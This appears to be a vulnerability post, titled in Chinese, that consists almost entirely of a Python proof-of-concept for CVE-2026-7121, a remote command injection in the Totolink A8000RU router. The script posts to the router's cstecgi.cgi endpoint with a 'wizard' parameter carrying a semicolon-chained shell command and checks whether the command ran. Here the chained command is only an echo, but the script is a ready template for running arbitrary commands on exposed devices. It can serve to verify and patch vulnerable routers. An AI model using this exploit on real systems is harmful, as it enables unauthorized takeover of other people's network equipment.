CVE-2026-7121 Totolink A8000RU 远程命令注入漏洞

import requests # CVE-2026-7121 PoC for Totolink A8000RU # Target URL (replace with actual IP) target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # The vulnerable parameter is 'wizard' within the 'setWizardCfg' function # Payload example: executing a simple command to verify vulnerability # Using a semicolon to chain commands in a Unix-like shell command_payload = "; echo CVE-2026-7121_VULNERABLE" # Construct the POST data data = { "function": "setWizardCfg", "wizard": command_payload } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; CVE-Scanner/1.0)" } try: # Send the malicious request response = requests.post(target_url, headers=headers, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response body:") print(response.text) # Check if the command output is reflected in the response (depends on implementation) if "CVE-2026-7121_VULNERABLE" in response.text: print("[!] Vulnerability confirmed: Command executed.") else: print("[?] Response does not contain direct output, but the command may have executed blindly.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")